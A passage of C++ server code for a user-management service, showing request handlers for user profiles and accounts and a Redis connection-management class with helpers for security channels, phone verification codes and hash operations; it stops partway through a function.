std::string result_body;
result_body = XProtocol::reset_pwd_rsp(token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_GET_USER_PROFILE)
{
XCP_LOGGER_INFO(&g_logger, "--- get user profile ---\n");
//
unsigned long long user_id = real_id;
if (user_id == 0)
{
err_info = "please login first!";
XCP_LOGGER_ERROR(&g_logger, "it is invalid req,user_id is 0, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
nRet = XProtocol::get_user_profile_req(req->_req, user_id,err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, real_id:%llu,user_id:%llu,ret:%d, err_info:%s, req:%s\n",real_id,user_id, nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//todo:check param
UserAttr user_attr;
nRet = PSGT_User_Mgt->get_user_profile(user_id, user_attr,req->_msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "get user profile failed!real_id:%llu,user_id:%llu,nRet=%d,err_info:%s\n", real_id,user_id,nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "get user profile success!real_id:%llu,user_id:%llu,nRet=%d,err_info:%s\n", real_id, user_id, nRet, err_info.c_str());
//4,rsp
std::string result_body;
result_body = XProtocol::get_user_profile_rsp(user_id,user_attr);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_UPDATE_USER_PROFILE)
{
XCP_LOGGER_INFO(&g_logger, "--- update user profile ---\n");
unsigned long long user_id = real_id;
if (user_id == 0)
{
err_info = "please login first!";
XCP_LOGGER_ERROR(&g_logger, "it is invalid req,user_id is 0, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
std::string name, nick, avatar, birthday;
short gender = -1;
nRet = XProtocol::update_user_profile_req(req->_req,name,nick,avatar,birthday,gender, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//todo:check param
UserAttr user_attr;
user_attr.birthday = birthday;
user_attr.user_id = user_id;
user_attr.name = name;
user_attr.nick = nick;
user_attr.gender = gender;
user_attr.avatar = avatar;
XCP_LOGGER_INFO(&g_logger, "update user profile,birthday:%s,user_id:%llu,name:%s,nick:%s,gender:%d,avatar:%s,msg_tag:%s\n",
user_attr.birthday.c_str(), user_attr.user_id, user_attr.name.c_str(), user_attr.nick.c_str(), user_attr.gender, user_attr.avatar.c_str(), req->_msg_tag.c_str());
nRet = PSGT_User_Mgt->update_user_profile(user_id, user_attr,req->_msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "get user profile failed!nRet=%d,err_info:%s\n", nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "get user profile success!nRet=%d,err_info:%s\n", nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
}
else if (method == CMD_GET_USER_ACCOUNT)
{
XCP_LOGGER_INFO(&g_logger, "---get user account ---\n");
unsigned long long user_id = real_id;
if (user_id == 0)
{
err_info = "please login first!";
XCP_LOGGER_ERROR(&g_logger, "it is invalid req,user_id is 0, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "get user_account,user_id:%llu,msg_tag:%s\n",user_id, req->_msg_tag.c_str());
std::string token;
nRet = PSGT_User_Mgt->get_user_account(user_id,req->_msg_tag, token,err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "get user profile failed!nRet=%d,err_info:%s\n", nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "get user profile success!token:%s,err_info:%s\n", token.c_str(), err_info.c_str());
//4,rsp
std::string result_body;
result_body = XProtocol::get_user_profile_rsp(token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else
{
XCP_LOGGER_INFO(&g_logger, "invalid method(%s) from access svr\n", method.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, "invalid method.");
}
return 0;
}
<file_sep>/redis_mgt.cpp
#include "redis_mgt.h"
#include "redis_timer_handler.h"
#include "base/base_logger.h"
#include "base/base_time.h"
#include "base/base_convert.h"
#include"user_mgt.h"
extern Logger g_logger;
Redis_Mgt::Redis_Mgt(): _redis(NULL), _valid(false), _ip(""), _port(0), _auth("")
{
}
Redis_Mgt::~Redis_Mgt()
{
}
int Redis_Mgt::init(const std::string &ip, const unsigned int port, const std::string &auth)
{
int nRet = 0;
_ip = ip;
_port = port;
_auth = auth;
//初始化先连接一下,后面定时器会定时检测redis server的状态
connect();
//启动conn mgt timer
XCP_LOGGER_INFO(&g_logger, "--- prepare to start redis mgt timer ---\n");
Select_Timer *timer = new Select_Timer;
Redis_Timer_handler *conn_thandler = new Redis_Timer_handler;
nRet = timer->register_timer_handler(conn_thandler, 5000000);
if(nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "register redis mgt timer handler falied, ret:%d\n", nRet);
return nRet;
}
nRet = timer->init();
if(nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "int redis mgt timer failed, ret:%d\n", nRet);
return nRet;
}
nRet = timer->run();
if(nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "redis mgt timer run failed, ret:%d\n", nRet);
return nRet;
}
XCP_LOGGER_INFO(&g_logger, "=== complete to start redis mgt timer ===\n");
return 0;
}
void Redis_Mgt::release()
{
//最后释放 redisContext 对象
redisFree(_redis);
_redis = NULL;
_valid = false;
}
void Redis_Mgt::check()
{
int nRet = 0;
Thread_Mutex_Guard guard(_mutex);
if(_valid)
{
nRet = ping();
if(nRet == 0)
{
//ping 成功
return;
}
else
{
//ping 失败
connect();
}
}
else
{
//重新连接
connect();
}
}
int Redis_Mgt::connect()
{
int nRet = 0;
/*
连接创建以后内部生成一个 redisContext 堆对象,一旦连接断开需要重新连接,
没有自动重连机制
*/
struct timeval timeout = {0, 300000};
_redis = redisConnectWithTimeout(_ip.c_str(), _port, timeout);
if (_redis == NULL || _redis->err)
{
if (_redis)
{
XCP_LOGGER_INFO(&g_logger, "connect redis(%s:%u) failed, err:%s\n",
_ip.c_str(), _port, _redis->errstr);
release();
}
else
{
XCP_LOGGER_INFO(&g_logger, "connect redis(%s:%u) failed, can't allocate redis context\n",
_ip.c_str(), _port);
}
return -1;
}
XCP_LOGGER_INFO(&g_logger, "connect redis(%s:%u) success.\n", _ip.c_str(), _port);
if(!_auth.empty())
{
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "auth %s", _auth.c_str());
if(!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
release();
return -1;
}
else
{
if(reply && (reply->type == REDIS_REPLY_STATUS) && (strcasecmp(reply->str,"OK") == 0))
{
XCP_LOGGER_INFO(&g_logger, "auth redis server(%s:%u) success.\n", _ip.c_str(), _port);
}
else
{
XCP_LOGGER_INFO(&g_logger, "auth redis failed, err:%s, pls check redis server(%s:%u), auth:%s\n",
reply->str, _ip.c_str(), _port, _auth.c_str());
release();
return -1;
}
}
}
_valid = true;
return nRet;
}
int Redis_Mgt::ping()
{
int nRet = 0;
if(!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n",
_ip.c_str(), _port);
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "ping");
if(!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u)\n",
_ip.c_str(), _port);
nRet = -2;
release();
}
else
{
if(reply && (reply->type == REDIS_REPLY_STATUS) && (strcasecmp(reply->str,"PONG") == 0))
{
//XCP_LOGGER_INFO(&g_logger, "ping redis server(%s:%u) success.\n", _ip.c_str(), _port);
}
else
{
XCP_LOGGER_INFO(&g_logger, "ping redis failed, err:%s, pls check redis server(%s:%u)\n",
reply->str, _ip.c_str(), _port);
nRet = -3;
release();
}
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::create_security_channel(const std::string &id, std::string &key, std::string &err_info)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if(!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "hmset %s key %s created_at %llu",
id.c_str(), key.c_str(), getTimestamp());
if(!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
freeReplyObject(reply);
//设置TTL
reply = (redisReply*)redisCommand(_redis, "expire %s %u", id.c_str(), SECURITY_CHANNEL_TTL);
if(!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
else
{
if((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "expire security channel id failed, id:%s\n", id.c_str());
err_info = "expire security channel id failed.";
}
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::refresh_security_channel(const std::string &id, std::string &err_info)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if(!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "expire %s %u", id.c_str(), SECURITY_CHANNEL_TTL);
if(!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
else
{
if((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "expire security channel id failed, id:%s\n", id.c_str());
err_info = "expire security channel id failed.";
nRet = -1;
}
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::set_phone_code(const std::string &phone, const int &type, const std::string &code, const int ttl, std::string &err_info)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
std::stringstream sskey;
sskey
<< UM_PHONE_CODE << phone << "_" << type;
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "hmset %s code %s retry %d created %llu",
sskey.str().c_str(),code.c_str(),0,getTimestamp());
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
freeReplyObject(reply);
//设置TTL
reply = (redisReply*)redisCommand(_redis, "expire %s %d", sskey.str().c_str(), PHONE_CODE_TTL);
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
else
{
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "set code fail!phone:%s,type:%d\n", phone.c_str(),type);
err_info = "set code fail!.";
}
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::check_key_exist(const std::string &key, bool &is_exist,std::string &err_info)
{
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "EXISTS %s",key.c_str());
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "key not exist!key:%s\n", key.c_str());
err_info = "success";
is_exist = false;
freeReplyObject(reply);
return 0;
}
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer == 1))
{
is_exist = true;
freeReplyObject(reply);
err_info = "key exist!";
return 0;
}
freeReplyObject(reply);
err_info = "unknow error";
return -3;
}
int Redis_Mgt::hmget_string(const std::string &id, const std::string &key, std::string &value,std::string &err_info)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "hmget %s %s", id.c_str(), key.c_str());
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.test";
release();
return -1;
}
if (reply->type == REDIS_REPLY_ARRAY)
{
size_t arr_len = reply->elements;
if (reply->elements > 0)
{
if (reply->element[0]->type == REDIS_REPLY_NIL)
{
value = "";
}
else if (reply->element[0]->type == REDIS_REPLY_STRING)
{
value = reply->element[0]->str;
}
}
}
else
{
//如果redis server 停止,reply is null
XCP_LOGGER_ERROR(&g_logger, "redis response error!reply->type=%d, cmd:hmget %s %s\n",reply->type,id.c_str(),key.c_str());
err_info = "redis response error!";
release();
nRet = -1;
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::set(const std::string &key, const std::string &value,std::string &err_info, unsigned int ttl)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "set %s %s", key.c_str(),value.c_str());
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "redis set fail!key:%s,value:%s\n", key.c_str(), value.c_str());
err_info = "redis set fail!.";
freeReplyObject(reply);
return -2;
}
freeReplyObject(reply);
if (ttl > 0)
{
//设置TTL
reply = (redisReply*)redisCommand(_redis, "expire %s %d", key.c_str(), ttl);
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -1;
}
else
{
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "redis set fail!key:%s,value:%s\n", key.c_str(), value.c_str());
err_info = "redis set fail!.";
}
}
freeReplyObject(reply);
}
return nRet;
}
int Redis_Mgt::get(const std::string &key, std::string &value, std::string &err_info)
{
int nRet = 0;
err_info = "";
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "user redis svr is disconnect.";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "get %s", key.c_str());
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -2;
}
if (reply->type == REDIS_REPLY_NIL)
{
value = "";
}
else if (reply->type == REDIS_REPLY_STRING)
{
value = reply->str;
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::hmget_arr(const std::string &id, const std::vector<std::string> &keys, std::vector<std::string> &values, std::string &err_info)
{
int nRet = 0;
err_info = "";
if (id.empty())
{
err_info = "id empty!";
return -1;
}
if (keys.size() == 0)
{
err_info = "keys emtpy!";
return -2;
}
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "redis svr is disconnect.";
return -1;
}
#if 0
redisReply *reply = NULL;
//code_13316825572_2 code retry created
switch (keys.size())
{
case 1:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s", id.c_str(),keys[0].c_str());
break;
case 2:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str());
break;
case 3:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str());
break;
case 4:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(),keys[3].c_str());
break;
case 5:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str());
break;
case 6:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(),keys[5].c_str());
break;
case 7:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str());
break;
case 8:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str());
break;
case 9:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str());
break;
case 10:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(),keys[9].c_str());
break;
case 11:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(), keys[9].c_str(),keys[10].c_str());
break;
case 12:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(), keys[9].c_str(), keys[10].c_str(), keys[11].c_str());
break;
case 13:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(), keys[9].c_str(), keys[10].c_str(), keys[11].c_str(), keys[12].c_str());
break;
case 14:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(), keys[9].c_str(), keys[10].c_str(), keys[11].c_str(), keys[12].c_str(),keys[13].c_str());
break;
case 15:
reply = (redisReply*)redisCommand(_redis, "hmget %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), keys[1].c_str(), keys[2].c_str(), keys[3].c_str(), keys[4].c_str(), keys[5].c_str(), keys[6].c_str(), keys[7].c_str(), keys[8].c_str(), keys[9].c_str(), keys[10].c_str(), keys[11].c_str(), keys[12].c_str(), keys[13].c_str(),keys[14].c_str());
break;
default:
err_info = "mhget error,keys is too long!";
return -1;
break;
}
#else
size_t len = keys.size() + 2;
char ** argv = new char*[len];
size_t * argvlen = new size_t[len];
int j = 0;
argvlen[j] = 5;
argv[j] = new char[6];
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], "hmget", 5);
j++;
argv[j] = new char[id.size() + 1];
argvlen[j] = id.size();
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], id.data(), id.size());
j++;
for (size_t i = 0; i < keys.size(); ++i)
{
argvlen[j] = keys[i].size();
argv[j] = new char[argvlen[j] + 1];
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], keys[i].data(), keys[i].size());
j++;
}
redisReply *reply = (redisReply *)redisCommandArgv(_redis, len, const_cast<const char**>(argv), argvlen);
for (size_t i = 0; i < keys.size(); i++)
{
delete[] argv[i];
argv[i] = NULL;
}
delete[]argv;
delete[]argvlen;
argv = NULL;
#endif
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.test";
release();
return -3;
}
if (reply->type == REDIS_REPLY_NIL)
{
freeReplyObject(reply);
return REDIS_ERROR_NOT_EXIST;
}
bool bExit = false;
if (reply->type == REDIS_REPLY_ARRAY && reply->elements > 0)
{
for (size_t i = 0; i < reply->elements && i < keys.size(); i++)
{
std::string value;
if (reply->element[i]->type == REDIS_REPLY_INTEGER && reply->integer == -1)
{
value = "";
}
else if (reply->element[i]->type == REDIS_REPLY_STRING)
{
value = reply->element[i]->str;
bExit = true;
}
values.push_back(value);
}
}
else
{
//如果redis server 停止,reply is null
XCP_LOGGER_ERROR(&g_logger, "redis response error!reply->type=%d\n", reply->type);
err_info = "redis response error!";
nRet = -4;
}
freeReplyObject(reply);
if (bExit == false)
{
return REDIS_ERROR_NOT_EXIST;
}
return nRet;
}
int Redis_Mgt::hmset_arr(const std::string &id, const std::vector<std::string> &keys, std::vector<std::string> &values, std::string &err_info, unsigned int ttl)
{
int nRet = 0;
err_info = "";
if (id.empty())
{
err_info = "id empty!";
return -1;
}
if (keys.size() == 0)
{
err_info = "keys emtpy!";
return -2;
}
if (keys.size() != values.size())
{
err_info = "hmset_arr input size not correct!";
return -3;
}
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "redis svr is disconnect.";
return -3;
}
#if 0
redisReply *reply = NULL;
size_t key_size = keys.size();
switch (key_size)
{
case 1:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s", id.c_str(), keys[0].c_str(),values[0].c_str());
break;
case 2:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str());
break;
case 3:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str());
break;
case 4:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str());
break;
case 5:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str());
break;
case 6:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str());
break;
case 7:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str());
break;
case 8:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str());
break;
case 9:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str());
break;
case 10:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str());
break;
case 11:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str(), keys[10].c_str(), values[10].c_str());
break;
case 12:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str(), keys[10].c_str(), values[10].c_str(), keys[11].c_str(), values[11].c_str());
break;
case 13:
